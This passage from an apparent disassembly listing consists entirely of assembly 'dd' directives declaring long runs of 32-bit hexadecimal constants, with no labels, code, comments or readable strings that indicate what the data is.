		dd 4FB40718h, 0B54B68F0h, 8E00065h, 0D63DC01Fh,	0DD711A49h
		dd 62823001h, 0C11789FAh, 52BD4082h, 0A4E03D0Eh, 4400E761h
		dd 414905AFh, 131DE0Ah,	0C664BC71h, 0EDC43651h,	4E34204Bh
		dd 85FF7B3Dh, 0DE5B62Bh, 5D7F1CC0h, 9A4F7904h, 38EC065Ch
		dd 11B89861h, 69B7DC00h, 0FD37519h, 0EBF2F5h, 79A99CA3h
		dd 0CD40287h, 0FA382302h, 806CF28Eh, 579FB2D4h,	0DA0500EAh
		dd 64F8E5B0h, 0A100BAB8h, 28F0B35Eh, 5C4AD2h, 0C9C2527h
		dd 0CF333778h, 86A1F600h
		dd 0B358245Fh, 11B21F77h, 5446C05Ch, 0EF0CE647h, 0C249FA03h
		dd 0AD22B79Ch, 366B7C0h, 487816DCh, 67104F85h, 2762FBE0h
		dd 0BA00E34Ch, 0ACB19A77h, 376F15h, 74F72D8Ch, 0A6C8C1CAh
		dd 5BD7EC00h, 9A7B6CBAh, 0A71A000Ah, 13263C12h,	0C7036931h
		dd 60C1AAAFh, 28D88862h, 0C2B4009Fh, 0EDCFE99h,	0E97F6E2Bh
		dd 0AC3BFA2Eh, 62816180h, 0A3A7ECh, 0F487D23Ch,	60B7D87Ah
		dd 9075E500h, 4A8E8F3Bh, 9DE3006Ah, 6EB3AD2Ah, 0B7E82CA7h
		dd 9C6C6D0Bh, 0F36200C3h, 0BE97DFh, 7D46DCA5h, 228534A7h
		dd 311C5300h, 8E81F9Dh,	8D490626h, 489EFBFh, 9F00857Ch
		dd 0DEDC0181h, 134D37F9h, 688A6Ch, 4CE9F753h, 5240F1Ah
		dd 1F0E4032h, 0C635A0C7h, 5FFC803h, 0AFCE9B0Dh,	37C0AAB5h
		dd 2C90FAh, 2928FC12h, 0BE62CB11h, 0AE82580Eh, 3CC6A43Ah
		dd 8ACA7F80h, 593701F6h, 56D9C1A7h, 0C0E331E4h,	0BDB85E86h
		dd 26693600h, 94631D7Ah, 0FAA5268Bh, 516F0260h,	686235FBh
		dd 30DACD80h, 54948E1Bh, 4093F180h, 3F67440Ah, 0E1B91EE4h
		dd 523D9280h, 0D3A8EFC6h, 0A007EF2h, 0C0F902D5h, 7B48E36h
		dd 68297DFCh, 8B2D203Bh, 62E2D9E4h, 81DF6301h, 86F4759Ah
		dd 0AB1C20h, 0A5AA042Fh, 82638983h, 3552A200h, 59C16B2h
		dd 9D79C5h, 41AECD9h, 232D93BAh, 0C8380778h, 534D0015h
		dd 0E13BD284h, 0F96600DDh, 142E2464h, 0BC00287Ch, 7493D81Ah
		dd 0E8E88ADh, 0E9BE94E8h, 0C0FFCF80h, 970F396Eh, 0C04685B1h
		dd 37C40858h, 981807F4h, 700C0E6Dh, 0CE6AA6F6h,	8A76E703h
		dd 0D0BD6194h, 3A7FCA9Fh, 0C800A40Eh, 2F6B371Eh, 0D8783879h
		dd 0C0F6E6F8h, 4F2E762Eh, 0D5D49400h, 0E79C162h, 0A3656432h
		dd 7B48F00h, 6F001225h,	4ADD90A9h, 2CAFABDFh, 716C750h
		dd 60D8EC1Eh, 0D734F6FDh, 9F533B00h, 0DE64707Bh, 447007Ah
		dd 0BFF4F24Eh, 7771D459h, 1D3A3C1Eh, 3B100B40h,	6B0448h
		dd 6309F898h, 0A1EA1201h, 448CB700h, 0A7D4C51Dh, 287F06h
		dd 0EC6FF04Ch, 0A56A1677h, 4E03BAB8h, 2466807Eh, 46F0B83Eh
		dd 0EC380006h, 40C20F14h, 0CD000BA7h, 0F5FA261Bh, 0A8E501h
		dd 0A2A96C53h, 0F3C7C9C2h, 2CFEE5Ch, 7E3ABA02h,	9D164033h
		dd 97BD0984h, 470E2FCAh, 0D482A0E0h, 0BA00D97Bh, 0DBF808D2h
		dd 337A183h, 0B2BC734h,	66D86045h, 0B10039C0h, 0EE2F49A6h
		dd 0DC468Ah, 0AC27F571h, 474B93Dh, 93746598h, 4DC47B00h
		dd 0FED14779h, 0DD323A6Fh, 0A761B60Eh, 8F397023h, 84FB57D0h
		dd 73E05A09h, 0ED9E839Bh, 0ECAAC801h, 3DA500A3h, 8F9A1ABEh
		dd 63002044h, 492C4B2Eh, 72FC973h, 0AA5E7F76h, 6E78300Fh
		dd 920001F7h, 46425E9h,	77D4D0C2h, 947239DEh, 0EBCA7000h
		dd 33D90F01h, 47E0E573h, 772F3Dh, 4555B230h, 0ADE9DDh
		dd 79BF5F3Ah, 4B4C6C49h, 7C393E0Fh, 0A469E031h,	0A55A29h
		dd 67F5603Bh, 0A6AEB5CFh, 30095F0h, 9378BC07h, 7F455D4h
		dd 676892EDh, 42621037h, 0E60065E1h, 193CE975h,	0CC7D48h
		dd 612EAC02h, 6404D0D7h, 3B70FB1Eh, 9C673900h, 1A12A8h
		dd 0D60C62ECh, 501B8243h, 8F790102h, 0E08D4D3Dh, 0A9BDC5Fh
		dd 6A128CDBh, 0AE2700F8h, 96FE358h, 286EE23Fh, 6B01D0EBh
		dd 45FDB4B0h, 5FF8F91Eh, 0A35900DCh, 3356A7AFh,	0B500B63Ch
		dd 0BC768A12h, 1E92E218h, 0C32CF1C4h, 410B943Bh, 0D582A6F0h
		dd 77043700h, 53C222E6h, 35670012h, 0F00625A3h,	6C005680h
		dd 0AB5F513h, 0E8DA49Bh, 0A29FCF8Eh, 80716065h,	1529E717h
		dd 0F114A703h, 0D0F24C08h, 89740Bh, 0C5CC88FBh,	766A4A6h
		dd 7AC0C900h, 9E592457h, 34E880h, 1D252318h, 68913B3Eh
		dd 1B32EA0Fh, 0D6BC80DCh, 0C529F7h, 0FA0CB036h,	54578556h
		dd 1D68BE1Dh, 44929B00h, 370F13Bh, 0A12AFECEh, 0D0DF7FBDh
		dd 0D909105Fh, 0A52D0400h, 6DED52D1h, 28D03D95h, 66E27E00h
		dd 3DFFA044h, 1C2B2C3Ch, 0CF81895Fh, 222194F1h,	0A1FFCh
		dd 65E8DE3h, 2E8B667Fh,	3E071200h, 48DB3825h, 80B837h
		dd 73BD7C23h, 5A212EC0h, 0E2B2700h, 6CDA09FFh, 27166h
		dd 1420BE07h, 0A4F9F272h, 8EDE1F07h, 52F0607Bh,	8D18EEh
		dd 6446E047h, 42FC78ECh, 409520F9h, 383E5900h, 0ABA0C70Ah
		dd 0E87AF6h, 0D11623EDh, 0E963859Dh, 1F410704h,	1980808Fh
		dd 7C3D76h, 45127ED3h, 780ABABDh, 3A9F6300h, 49C9FF09h
		dd 1F34001Eh, 43019CDBh, 7E01A9B6h, 7F829557h, 4980F1AAh
		dd 1C34EC1Dh, 29007985h, 2B088CA8h, 71219Fh, 0BD1064A6h
		dd 2FC1B28Eh, 0EC83B41Dh, 0CD1CD700h, 0EEB7922h, 6862F3ADh
		dd 1EB798C3h, 9D298C98h, 0BDB9A500h, 6B8F3044h,	485428F7h
		dd 4E4F8EAh, 0FB3D604Ah, 80E480A6h, 7D3FE340h, 48B28004h
		dd 233B19FEh, 0F8ED74CAh, 383D00CCh, 9730FF77h,	680074E4h
		dd 0BE5B4E0Dh, 0AC2EC3h, 0DE7B5A5Eh, 97CAE8B4h,	4EAE91Fh
		dd 16899940h, 0DAF54Fh,	4DFFCDAEh, 0C7846AB9h, 452DED00h
		dd 0A5BF5654h, 8EDD031Ch, 0DECCDFE5h, 4DC78DB0h, 84006E77h
		dd 4025BEE3h, 0E6188FAh, 41E1A670h, 0FFD737A0h,	900081BFh
		dd 3B840D2Ah, 0E87D8E1Eh, 0FA8D0029h, 0B155548Ah, 5B387E88h
		dd 634E84C0h, 94C0252Ah, 4B94CAh, 95897630h, 0D1A01807h
		dd 8EF4DD1Fh, 1C1D5292h, 0C553B500h, 3F5663h, 0FBF64E22h
		dd 0DC41B605h, 1981CF00h, 15933A4Dh, 0BBF0002Eh, 718A7BE7h
		dd 0CE45689h, 7E0D7400h, 6CC9358Bh, 187C6B7Fh, 9F3A80DDh
		dd 3D166A17h, 4224C608h, 0FCAD0088h, 472E66D4h,	817F5018h
		dd 969B30h, 1C0DCF60h, 1E86E772h, 0D5F9B4A8h, 508BBD00h
		dd 0CE35BEBFh, 0D32700E2h, 0AAE85866h, 0B9002B87h, 0B1DB84F8h
		dd 7498F72h, 7F8CFB1Ch,	41E48743h, 0EC5FC7B2h, 0AA00F051h
		dd 744934B5h, 18E1EEA6h, 285CB9DCh, 0EF7198CAh,	7A00DBB8h
		dd 8BF6031Fh, 0B44178h,	87E9127Fh, 0A862B5D8h, 0A0CE1B00h
		dd 0A7AE9188h, 0C15900BDh, 42B6B1C5h, 9203E4D3h, 0BEC2EDF6h
		dd 1C9DD845h, 7BDB00F0h, 0A553AF62h, 789F7209h,	0CAC700F8h
		dd 3B835BE1h, 0B401E8F2h, 0D03D70ACh, 0C42087C5h, 63F1005Fh
		dd 4295AEE0h, 0DE0394D1h, 1C6C2237h, 32C81D0Ah,	7CFD0EA3h
		dd 50344720h, 60005D58h, 0B2ECB5A1h, 54014Eh, 986C151Ch
		dd 6AFFF328h, 8E70DB24h, 3AF9E01h, 0EEC86245h, 755072Ch
		dd 0C0AA76F8h, 0FD0048Ah, 0DBC61400h, 0AC5D1FF3h, 79A900B2h
		dd 180BBE39h, 3304C199h, 0C41C62E4h, 0AC381680h, 0FB653F77h
		dd 0FD59180h, 0E75A0746h, 99261600h, 62733E8Eh,	58E6ABh
		dd 0B4C7DE6Ch, 47B7F77Eh, 6FAD9903h, 3DF215h, 14F04941h
		dd 0CB0A8B5Ah, 202EA326h, 2D178700h, 409467h, 8656F747h
		dd 622B3B1Ah, 890008FAh, 38212A82h, 1BE3C4Dh, 0C207D82Fh
		dd 0F82D70DFh, 6B03D329h, 463354F3h, 0C576B120h, 0C1E8A2E9h
		dd 0F5371C9Bh, 2212C031h, 9A04A87Bh, 0AF00D877h, 0A38B63D7h
		dd 781367h, 0A76BA2C5h,	73AA6ADAh, 80BFBA3Eh, 9ACC2EF0h
		dd 399A67Bh, 0FB3F7D9h,	31E846DAh, 0E318562Bh, 0A60927E8h
		dd 0F08FFAD1h, 0A74500DDh, 0D8BA10AAh, 0CC070A75h, 0CD8C5CE2h
		dd 0E8B585D3h, 90150F55h, 0A3490AE8h, 94C705h, 1C2B59EEh
		dd 8A002258h, 0ABA7230Fh, 7B3D2624h, 0EB300072h, 28279C95h
		dd 7909A62Ch, 1088B208h, 0DBAAC8h, 55EF321Ah, 1C8C2F29h
		dd 0DFD76901h, 864F1EC1h
		dd 7B12CC20h, 4B410079h, 0C305E5D9h, 9C0040F7h,	0DBAF7B94h
		dd 0E7EEB9h, 5E84A6BEh,	9006E103h, 527822E4h, 35C03F07h
		dd 44702FAFh, 0D27982h,	0EFB1BA61h, 0F9FD654Eh,	0A26BB700h
		dd 79C39522h, 31A32EE1h, 803C00A8h, 7FE0B9DFh, 5F12BE05h
		dd 38C024D4h, 3B42823Dh, 600029F3h, 2F1D8572h, 9B007830h
		dd 393BAB57h, 0E8167420h, 14DC0170h, 0ACA3819Ch, 90AEF0F7h
		dd 418D2717h, 0A9EF7300h, 6B8E45h, 0D9D39477h, 865D2DA6h
		dd 24CB4301h, 0BA896351h, 7050CE8h, 5FE9EE81h, 0DCCF7061h
		dd 0A000168Dh, 1B405E4Ah, 7B83A56h, 0B6D34643h,	7447706Eh
		dd 70E9B544h, 8100E09Eh, 210A04D8h, 9022EAC6h, 9939004Bh
		dd 507F2DC2h, 411EFF0Fh, 0AF002A44h, 58933040h,	0D26B00FDh
		dd 4FF68EBCh, 20C03F23h, 0DF3C0B86h, 8F3700A6h,	34E59677h
		dd 6E734B30h, 1900A27Ch, 41628E22h, 0D9740Dh, 473C77E3h
		dd 9799124Fh, 55CB7200h, 3B42527Ah, 5D36005Ch, 1683EC8Bh
		dd 0DD3CD256h, 8E1A8ED4h, 8DFCC00Dh, 722CDBh, 7B34C61Fh
		dd 0F7961656h, 0CD170B0Fh, 132280B3h, 78E84C3h,	7F4E443Bh
		dd 584310E5h, 0D00039A7h, 0EE0F0607h, 3A76E4h, 941BFAF5h
		dd 38E1B242h, 161DF10Fh, 338160EAh, 518884h, 8047E082h
		dd 22860E12h, 0E1903Eh,	0F96FC607h, 0FC2B730h, 63AE71A8h
		dd 0CAA36EA2h, 75790540h, 9F3E6090h, 6F8B006Bh,	0F41439FAh
		dd 7047009Ch, 1B81D267h, 0F9008E98h, 0AFD009ADh, 64834Bh
		dd 5E4C14CBh, 39016999h, 1DFCE200h, 0F75B1368h,	0DA750315h
		dd 9746AA16h, 0BBBF00AFh, 34001188h, 0AB9583ADh, 38A9A412h
		dd 8628CFF0h, 340D4CE5h, 4727F701h, 0C5EA02DBh,	714130D9h
		dd 0E1708304h, 188046DEh, 750F1501h, 0DCF401C0h, 4E599EA0h
		dd 51CBD045h, 0B4EBB700h, 78FAFBFFh, 4F27126h, 0BD4F1A8Ah
		dd 989C04Eh, 410084D1h,	0C73FFF64h, 4EA3144h, 52CE43C9h
		dd 667C0DBh, 0FC00DFAAh, 0BE7BE03Dh, 44753h, 88E4B67Eh
		dd 7D809AAFh, 1A25C500h, 895DD513h, 38310001h, 7A6DEE73h
		dd 7B006951h, 2711361Bh, 1638318h, 939637EDh, 305D4C1Ah
		dd 0C21C7F9Eh, 0F88955h, 7A813DBCh, 14B7BDh, 13099657h
		dd 874F321Ch, 0C9ABA20Fh, 4933204Ah, 0F02A4BBBh, 83081D5Ah
		dd 0ED14001Bh, 0CCA35FB6h, 802FD538h, 8D40BAD0h, 0BF086Fh
		dd 0B77B7558h, 44ABD1C4h, 0FD106C00h, 9B63EF19h, 4B112ECBh
		dd 9042005Bh, 2241CEC0h, 55C3704h, 14A05726h, 0A65F007Dh
		dd 2C9A3C07h, 7000FAE3h, 0A10C7AD3h, 0F231DC14h, 0B49D0122h
		dd 1148D48Eh, 17AE41FBh, 210203Eh, 0C200C474h, 2304D90Eh
		dd 12CF3D3h, 5D43AB4Ah,	61547A3Eh, 6E7C601Eh, 37EF0A00h
		dd 3AF6E341h, 0F5D97C8Eh, 9C70A4F9h, 0AC653E74h, 27F86C80h
		dd 455A1861h, 8AF5FE00h, 0A5A01AEAh, 4D4C26C8h,	6CAC00EAh
		dd 40EBC774h, 0B75FF609h, 4BC307A4h, 0DCD01E01h, 337FE0h
		dd 95B5916Bh, 8C87F10Dh, 38284C5Ch, 13E4801Fh, 1EB87198h
		dd 8F620B9Ah, 0EC0021BBh, 0D80463D5h, 0CE50C004h, 0F0C32DC7h
		dd 5E57E874h, 0AFA551A1h, 1AD04DC9h, 3A1B005Fh,	6E6D6849h
		dd 82000153h, 6A487F02h, 7D96151h, 9C3BEF7Dh, 5D131014h
		dd 8101DAC4h, 452758CBh, 8047EAB9h, 17CAAD81h, 6C6A6E30h
		dd 8720A80Dh, 0ACFB261Fh, 2055F585h, 0B90FAD00h, 3D6CCD6Ah
		dd 52014B09h, 0E2C9F205h, 50D6F5D5h, 0FB02ADA8h, 0D07BF1C0h
		dd 7CFC40Dh, 7D8AB817h,	0C0C53719h, 0BD79ADA2h,	332AED07h
		dd 0C707A25h, 721A7F06h, 0C67B24ECh, 73CC0093h,	9AA2CA66h
		dd 2852DF00h, 0F0B1A8A6h, 5BF006Ch, 6E92C42Bh, 25005CA5h
		dd 0DAB6CD70h, 1686D1Bh, 75387E59h, 0E8E273BBh,	0E800E4D1h
		dd 5ECCF0BCh, 0EC1262h,	0F190DA4Ah, 0B2698122h,	52FC8C00h
		dd 0BBF2AF67h, 45920091h, 0DD65E6B7h, 0D4E02609h, 0F48621Dh
		dd 57A91289h, 5A56A803h, 0D5417FD0h, 7B87A803h,	98DBBE74h
		dd 6EEB8Fh, 6D214F64h, 0E45E2C98h, 29CBF100h, 9F2D60DBh
		dd 198C00A5h, 0C6756627h, 7200A4CDh, 54F97BB8h,	5ECB02h
		dd 0DB105BC2h, 39D09C58h, 0C401CC1Ch, 52C655C0h, 76628265h
		dd 745806DAh, 81027FA2h, 19AF7A00h, 4E8898F3h, 0C82A3CF0h
		dd 83E5CD00h, 173CD240h, 38A36430h, 70F6BEh, 3B71CBDAh
		dd 1A2BB25Eh, 3199B0Fh,	45ECE10Dh, 98E1287Ah, 0E2EE4860h
		dd 0AA533BC8h, 294065B1h, 30A9E41Ah, 41A7CC03h,	4920A8h
		dd 0EA615888h, 3DEDEEF8h, 0ACAA9A01h, 0D16E4AD5h, 3CC2AFCh
		dd 0FD4FEC7Ah, 7CD06103h, 38C1059Eh, 0A1090F74h, 0F0E47D0h
		dd 687E8BF7h, 809585C7h, 993C2F97h, 96E74A03h, 3333B11h
		dd 43613D28h, 0C18448B1h, 0F8FC0A35h, 95008ABBh, 8A559A8h
		dd 3AEF2B6Dh, 9C92C38Fh, 0D3430080h, 2C47F5ACh,	38ECAF3Dh
		dd 38B18599h, 0FE000E20h, 172D283Ch, 252700ADh,	1F945BEh
		dd 230087F8h, 89639BFh,	0D78652h, 90D19E75h, 0F61321FFh
		dd 0F8A9931Fh, 39BE4700h, 5429DBh, 1C0AC301h, 7BEEF156h
		dd 0B005FE07h, 5CB0E1C8h, 64B3F6h, 0BCC58878h, 0DF37E043h
		dd 9E00CAE8h, 728612B9h, 3C6563AAh, 2FA5E78h, 10148CF4h
		dd 6040B6B8h, 0A573C8E7h, 7A18D0EFh, 9384D700h,	9B3251C9h
		dd 22AB0012h, 0EF8CE4EDh, 865CFD8Bh, 0C83D00D9h, 0B4316F30h
		dd 58E03F6h, 5BCAAAB2h,	803AB03Ah, 0D7242E9Fh, 75B3E55Ah
		dd 947B66h, 0CBFABF4Ah,	55F3E3F9h, 253CBC00h, 60A03BE4h
		dd 3FFE0649h, 484077D2h, 78000D98h, 0DDB17AF7h,	33B4A4h
		dd 9B76A75Dh, 518F50CAh, 0BC608B00h, 0E6D374CEh, 0BE420702h
		dd 40A35911h, 696A4AE1h, 0D7EC9500h, 0C13A60B7h, 0F4857536h
		dd 5F5D3E01h, 5EAF1081h, 9CE1AEC8h, 3D035288h, 0BB0B74B4h
		dd 0E561A031h, 4E53268Ch, 0FC7701FEh, 2ECDD7E7h, 7622F0h
		dd 0C33A1DB8h, 94801E69h, 0E27B3128h, 4E65110Ch, 988B28CEh
		dd 0C884A119h, 43FDC8h,	53EFE88h, 4865EFE0h, 0E6170700h
		dd 0B0C879BFh, 0C153305Fh, 0EFE0908h, 4A674804h, 36C09BDDh
		dd 609C05AEh, 27EA380Fh, 0B3006909h, 420D7F8Ah,	0CBA43Ch
		dd 0A22DC6F2h, 0F77D9D73h, 48C3FAFCh, 989A727Eh, 0EEA6EABEh
		dd 365E8C1h, 1E6D8654h,	0B1F06689h, 0C80CF6DEh,	699D44D4h
		dd 2E0700F2h, 0F38CEA5Bh, 4A0002FCh, 11E884B2h,	0C25ED951h
		dd 97F42BA9h, 0A48E5DC0h, 0A608E300h, 89B243E6h, 0DC3300BFh
		dd 0F9705577h, 480951C8h, 7F80FA7h, 0B3837380h,	0F7E4E0FBh
		dd 0C0F260EEh, 0C4D4111Bh, 581CBE77h, 1C000BB7h, 388EC95Dh
		dd 5B7C3DBCh, 7009EE80h, 0BA87F9B6h, 60AD3A31h,	0FFE84630h
		dd 0B8A25073h, 3C76B8D5h, 0E5006399h, 71B5A18Dh, 1707E7FDh
		dd 1B22D787h, 52160FB0h, 283F003Eh, 5CCA479Fh, 1E0A1CE8h
		dd 0F1CB6D19h, 67ED4B03h, 0BEC38130h, 0EA4206ECh, 817800FAh
		dd 4810A265h, 0B3012C80h, 0A74D9D47h, 0BF70CA52h, 4DB0D4h
		dd 0A1CC5D68h, 0A8E3F6AEh, 608A900Bh, 0A7E0804Ah, 0E4CB336Dh
		dd 0B2FD005Ah, 0BCFAEC61h, 4AF6DC69h, 8C537800h, 25C02F34h
		dd 0DFDD001Ch, 67CDAA4Fh, 95263D77h, 4C0D4FBAh,	20D87835h
		dd 0FE73A2h, 0CAF41D38h, 0B666402h, 0E6FC5400h,	110E3B17h
		dd 7E7C0087h, 32ADC773h, 4E03B191h, 14923C8Dh, 4D77C009h
		dd 302B0563h, 87A0D53Bh, 0E0565050h, 0D6016CAFh, 3EF47437h
		dd 72E4D807h, 2E2300A1h
		dd 16F90499h, 0B3F66195h, 0B738E51Eh, 0DBC30540h, 0E24A7ADh
		dd 779033E9h, 43AEB241h, 0F5628062h, 0A51CD9E3h, 0A8176024h
		dd 41542361h, 0C41D56E6h, 9D80C740h, 5EB5F8F5h,	76DF0043h
		dd 71F777BCh, 29C03EA1h, 9D40B01Ch, 0E6B90FFDh,	45409AB4h
		dd 28C67896h, 83132E03h, 0B8121FB6h, 0AEF4DEh, 0D7627C68h
		dd 4BF06B19h, 1FD49C1Ch, 43607EC0h, 7DEDA7h, 0AF17CCDFh
		dd 5AC8426Fh, 0A4AB4E13h, 0F6452809h, 0C4B2008Eh, 5495A3D7h
		dd 89270E01h, 47EEC96h,	0C9A760h, 7776F543h, 9749BD70h
		dd 80F63F3Dh, 20E710FCh, 39B5FE6h, 26BE28B7h, 6FC0C40Eh
		dd 995C4A56h, 78AB0071h, 6E2EB4Ch, 0FC9A07CCh, 408BB85Eh
		dd 639089EAh, 1E393Ah, 19B12EB0h, 0F93CEC5h, 6EE94D84h
		dd 44EC7CA0h, 3100AAFAh, 12A125A5h, 5DD761h, 11C02A2h
		dd 564BC5C6h, 92C2CD00h, 0D2E25F53h, 0E43400B8h, 0F5AEB4BCh
		dd 0BF007A3Eh, 57FE9D82h, 1D3DBEDh, 0C30239A5h,	60DF41B3h
		dd 791F6A53h, 0B580CD95h, 13066304h, 94910151h,	86971978h
		dd 7B8BF48Dh, 0A4288700h, 7021C4E1h, 0F97900FCh, 919E3E0Ch
		dd 0B600DC86h, 77092B6Fh, 354EC17h, 4B7A9BD0h, 0C0079EC8h
		dd 315D950Dh, 0A9E09347h, 75F2F22h, 0FFB08090h,	3259408Fh
		dd 73268DDDh, 7B00E281h, 13309B4Dh, 0C15EA4Eh, 4648ECA5h
		dd 4503B26Eh, 0C0697762h, 871EB882h, 0A4ED1E26h, 34CA40E5h
		dd 0C81144F4h, 3867DE00h, 0AF3354CCh, 78E3C49h,	0AB890070h
		dd 0C7069368h, 5000E1C4h, 29C84EF9h, 0E2BF049h,	95D6F3B0h
		dd 0C64488A0h, 5000253Ah, 0B3C53DA4h, 0CD5377h,	0A50BEF9Ah
		dd 0F946EC5Eh, 243A2500h, 21BE7087h, 5AFA00CCh,	0A0F2C32Ch
		dd 0EB188E3Bh, 28517986h, 6A6B016Ch, 89200A5Bh,	0B6408040h
		dd 3541D6BFh, 0A66701F5h, 8C784743h, 0B9BC2061h, 0BC5A9900h
		dd 9C3AAFADh, 0C34905F0h, 0C0DAD0A4h, 74B53351h, 9F5BF53Eh
		dd 85806999h, 18483B49h, 0A57C1F29h, 357A4122h,	0E88EE06Bh
		dd 949010A3h, 0E21E3B90h, 5C9CBC9Fh, 62F0F141h,	5BD09AB5h
		dd 389700C8h, 0E69CB8A9h, 33009DE2h, 7D6228A6h,	36FC326h
		dd 0B8CBAFB5h, 22E068D0h, 200A684h, 3D3CF641h, 1440AAAh
		dd 74AB8DA7h, 0E4633A8Fh, 3E00FC79h, 0CE650BA5h, 0CC65Eh
		dd 57AF1416h, 0FFF85C24h, 37A86300h, 0A03F619Ah, 655403E1h
		dd 705E6FE7h, 0E08073A1h, 2500B140h, 7F68932h, 1FE4FD85h
		dd 808F2091h, 96FC473Ch, 3800BE57h, 365A74E6h, 44F1D1Eh
		dd 882C31A9h, 150809Ch,	0B6006D2Ah, 0F69BCCC1h,	10DE1Eh
		dd 0AF555DC6h, 725B2BD9h, 459C200h, 0C5A6578Eh,	0E48403EEh
		dd 56D4AF0Fh, 2D3B9E98h, 0B4D94703h, 98D3BABEh,	3D754EBFh
		dd 9480A271h, 0A4290DF7h, 0EF001715h, 28A3642Ch, 7B444Ah
		dd 4297D19Bh, 3D1A84C6h, 48C0E400h, 0FAED381Dh,	0E9EE00B1h
		dd 1ECED512h, 9B00A76Ah, 71E1BD1Bh, 7A6ABAEh, 633EBAF9h
		dd 0F318207Bh, 0F10089CFh, 2E021FDh, 1EC7BF0Dh,	7FA1147Dh
		dd 126AAE81h, 0CB517F3Ah, 0A4EFA9F8h, 7B0029EEh, 79D287D7h
		dd 0C4CD59h, 0A75B5181h, 840DBBD5h, 0D60CC204h,	2DC0777Ah
		dd 1FAC083h, 0E84C276Dh, 0DF592106h, 2A4E1190h,	893FDE7Ah
		dd 0F86808Fh, 77F25631h, 54CF009Ah, 0EF5F219Ch,	331DE778h
		dd 4D4071D0h, 9B20B5AAh, 0EE01F22h, 0B9B8C059h,	5DB7AB3Dh
		dd 242CA100h, 66BFB027h, 68BD0067h, 585E40C1h, 1600F7A9h
		dd 0D2319326h, 7A8869Fh, 5C8C80DBh, 0DF03307Bh,	0A20304E3h
		dd 837ED076h, 0B4A1E821h, 0EC740E25h, 3C279B0h,	80FDE561h
		dd 4EC5DC18h, 0A012EAD1h, 8106C6h, 53FC6046h, 0DACACC7Eh
		dd 281C0C3Ch, 3800E8D8h, 2043EACEh, 900D57h, 7B952BAAh
		dd 31DABCBEh, 0E590A0Fh, 6067E069h, 1DFA28F8h, 80150436h
		dd 61907CF1h, 2000D838h, 6007F53Dh, 0FF0AAFEh, 88355230h
		dd 12AECB40h, 300B3E3h,	84920B02h, 1EF0C7h, 95B6E538h
		dd 6B1D37C2h, 2CBE773Ah, 0B407126Ah, 0B7900146h, 0E94E05h
		dd 8F539951h, 0FDBFA163h, 0F8302500h, 0AA6829D8h, 1F4F7183h
		dd 80740F12h, 147FFF4Bh, 48006324h, 0E0D1442Ch,	1823429Ah
		dd 0F810B1B5h, 36025261h, 0D49D5B67h, 2EDCC0ABh, 0BA9800D5h
		dd 0A17D1BE4h, 201D3105h, 97801611h, 92F5ECC2h,	0B206077Ch
		dd 4009EE57h, 6269F6DDh, 0F86E1A0Fh, 593F607Dh,	6A14E3h
		dd 0DB70F49Bh, 91413352h, 8A302271h, 97F82164h,	3AC92F4h
		dd 0CEAB82DBh, 2A08365h, 147C9095h, 643F697Bh, 0FCE41815h
		dd 0F50DB10h, 0C5C939F7h, 0EE00CAAEh, 0B83D6354h, 0DFB2BB05h
		dd 2C026AF8h, 60A88B69h, 600891B3h, 90FF7846h, 84A8AAE2h
		dd 0F5008A2Ah, 47A89420h, 833209h, 0F87EB419h, 5FBAEC76h
		dd 58006898h, 33BE2E9h,	0DA0620h, 24461714h, 0FA93803Eh
		dd 0CA51AB60h, 5F08F1h,	0DEDDC9A9h, 0E7C8A28Fh,	0EE596600h
		dd 0FD1769CBh, 0B21E0019h, 0EFC69213h, 22488E42h, 7EC1CE9h
		dd 9D8AE100h, 77263761h, 0C7B103A5h, 0FC07574h,	28093E00h
		dd 35A4BF5Bh, 98C503D5h, 6ADABBC8h, 0C29496C8h,	8D9A4150h
		dd 42339F00h, 4916E86h,	60400082h, 0CEA118Eh, 7C060506h
		dd 0DFBEA1D1h, 0F5A00D0h, 8533FDBDh, 200004E1h,	15A52FE3h
		dd 18561138h, 0E8A9908Eh, 1454C979h, 2400CEA8h,	0BED86B4Eh
		dd 0FF1593h, 1AF54A71h,	0EE2BDFE5h, 8DED0201h, 655BFC20h
		dd 4FCACC40h, 459DE93h,	80B2C221h, 854A3C73h, 0E200EFFAh
		dd 0F48450FCh, 7B11DA43h, 314F0372h, 7D9A5B49h,	273292E0h
		dd 6C5A5D0Ah, 218FF85Ch, 506EDAh, 75BEF88Eh, 0B5D40606h
		dd 0B1AC4EE3h, 571D5618h, 3E06731h, 4FB9020Ch, 20074D54h
		dd 23331DD4h, 0E9D10069h, 1EF5E7B7h, 0BA9FCA43h, 72896F00h
		dd 3B44E61Bh, 0A3083D01h, 0AAC4B935h, 14206A30h, 945A026Fh
		dd 0DA4912h, 89C385Ch, 81582FEAh, 3FB1007Dh, 0DA45B9D2h
		dd 0D4C0086h, 1EA7719h,	0B6505192h, 71000CC8h, 2167BEFBh
		dd 617CCB42h, 5617A0ECh, 3861818Ah, 538FF086h, 5506CC41h
		dd 0E8FB30h, 1656734Fh,	173EDA85h, 68048100h, 0B331452Ch
		dd 87B70263h, 3396F5CCh, 0C8FC63F5h, 3B1C5E8Dh,	10806CFBh
		dd 5D90A661h, 0CF010467h, 77E57BB9h, 0B030EE62h, 0B0F70025h
		dd 2871688h, 0ECEA4F51h, 0DCB79605h, 0AAC0C895h, 38B3D5h
		dd 3B355655h, 0AB516A8Ah, 8B7BC01Eh, 93D90AC0h,	9792440Dh
		dd 4907F350h, 0E32AA0BBh, 3A9135C1h, 1214BF8h, 0EEEAB847h
		dd 80501B98h, 0C47193B8h, 94BBF3h, 29651D42h, 9D3319D1h
		dd 779A4600h, 0D783598h, 1F7AEC3Fh, 0C7762E59h,	74FA7B37h
		dd 9CC03E2h, 3E39884Bh,	69620345h, 0B4C0898Fh, 8014DEA9h
		dd 4FF84CD1h, 0CFB639h,	328C7F64h, 3A42125Ch, 0FCA4BC54h
		dd 9884A830h, 89DEB3h, 0D4E4C8C7h, 0D5378323h, 8513F500h
		dd 86B7932Bh, 7D36006Fh, 9E9D6A3Ch, 240F45F0h, 8F49AE0Ah
		dd 2D003FDBh, 0B039F68Eh, 7A72DFh, 4113CC66h, 1A85EDF3h
		dd 0A9A73600h, 90C84795h, 0FA7D0064h, 68B59BFFh, 0CB00553Fh
		dd 24E3A1F1h, 0A1F90BDh, 0D9EC03B2h, 321B7820h,	5903E243h
		dd 7161E9FCh, 8DB05ED8h, 0C2DBC00h, 780D90C0h, 42A11D91h
		dd 830B4330h, 480450A2h, 0BD4C60A5h, 0C736C00h,	4F1E8882h
		dd 2C0F8436h, 1C3EC021h, 0FE5E5Ch, 0DA1F3383h, 96E71DA4h
